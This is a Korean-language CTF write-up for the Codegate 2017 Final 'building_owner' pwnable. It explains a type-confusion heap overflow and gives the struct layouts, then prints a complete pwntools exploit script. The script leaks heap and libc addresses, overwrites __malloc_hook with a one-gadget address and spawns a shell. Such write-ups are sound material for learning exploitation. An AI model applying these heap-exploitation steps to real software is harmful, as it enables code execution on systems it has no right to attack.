Pwnable/CTF
Codegate 2017 Final building_owner
HSr00t
2018. 1. 21. 20:12
이 문제에서는 type confusion취약점이 있는데 manage함수 부분을보면 edit, change둘중 change부분을 보면 원래 company type라면 저 함수를 써서 restaurant type로 바꾼다면 두 type끼리 size가 안 맞아서 오버플로우가 되는것을 이용하여서 name 포인터 부분으로 heap 릭을하고 main_arena leak + 공격을 할수있다.
string 객체는 "A"*17 을 넣으면 0x21사이즈로 할당이되고 25개를 넣으면 0x21사이즈를 free하고 0x31사이즈로 할당을 하는 특징을 이용하여서 main arena 릭을 할수있다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | apart { string name 0 int64_t floor 32 string about 40 int64_t house 72 } company { string name 0 int64_t floor 32 string about 40 uint64_t people 72 uint64_t money 80 } restaurant { string name 0 int64_t floor 32 string about 40 int64_t people 72 int64_t money 80 int64_t menu 88 int64_t price 96 int64_t pay 104 } | cs |
구조체는 위와같다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | from pwn import * p=process("./building_owner") elf=ELF("./building_owner") def apartment(name,floor,house,about): p.sendlineafter('> ','1') p.sendlineafter('?',name) p.sendlineafter('? ',str(floor)) p.sendlineafter('? ',str(house)) p.sendlineafter(': ',about) def company(name,floor,people,money,about): p.sendlineafter('> ','2') p.sendlineafter('?',name) p.sendlineafter('? ',str(floor)) p.sendlineafter('? ',str(people)) p.sendlineafter('? ',str(money)) p.sendlineafter(': ',about) def restaurant(name,floor,menu,people,money,price,pay,about): p.sendlineafter('> ','3') p.sendlineafter('?',name) p.sendlineafter('? ',str(floor)) p.sendlineafter('? ',str(menu)) p.sendlineafter('? ',str(people)) p.sendlineafter('? ',str(money)) p.sendlineafter('? ',str(price)) p.sendlineafter('?',str(pay)) p.sendlineafter(': ',about) def manage(): p.sendlineafter('> ','4') def edit_start(type_,idx): p.sendlineafter('> ','1') p.sendlineafter('> ',str(type_)) p.sendlineafter('> ',str(idx)) def change(type_,idx,kind): p.sendlineafter('> ','2') p.sendlineafter('> ',str(type_)) p.sendlineafter('> ',str(idx)) p.sendlineafter('> ',str(kind)) p.sendlineafter('> ','5') def exit(): p.sendlineafter('> ','3') apartment("AAAA",10,10,"AAAA") company("B"*9,20,20,20,"BBBB") #"B"*9 len == 9 -> main_arena 8byte leak restaurant("CCCC",30,30,30,30,30,30,"CCCC") manage() change(1,1,2) #apart idx 1 -> restaurant edit_start(3,2) p.recvuntil('price of menu : ') heap = int(p.recvuntil('\n').split('\n')[0],10) #company name print hex(heap) p.sendlineafter('> ','10') #restaurant edit exit p.sendlineafter('> ','4') #edit exit exit() leak_target = heap + 0x1b0 #main_arena + 88 print hex(leak_target) company("b"*150,20,20,20,"bbbb") #leak heap manage() edit_start(3,2) p.sendlineafter('> ','6') #menu edit -> company name ptr edit p.sendlineafter(': ',str(leak_target)) p.sendlineafter('> ','10') #restaurant edit exit p.sendlineafter('> ','2') p.recvuntil('1. ') main_arena = u64(p.recv(8)) - 88 malloc_hook = main_arena - 0x10 libc_base = malloc_hook - 0x3c4b10 one_shot = libc_base + 0xf1147 print hex(main_arena) print hex(malloc_hook) p.sendlineafter('> ','3') #company edit exit p.sendlineafter('> ','3') #restaurant edit start p.sendlineafter('> ','2') #type change idx -> 2 p.sendlineafter('> ','6') #company name ptr edit p.sendlineafter(': ',str(malloc_hook)) p.sendlineafter('> ','10') p.sendlineafter('> ','2') p.sendlineafter('> ','1') #target malloc_hook p.sendlineafter('> ','1') #company name change p.sendlineafter(': ',p64(one_shot)) #malloc_hook edit p.sendlineafter('> ','6') p.sendlineafter('> ','4') exit() p.sendlineafter('> ','1') #apart malloc_hook -> oneshot p.interactive() | cs |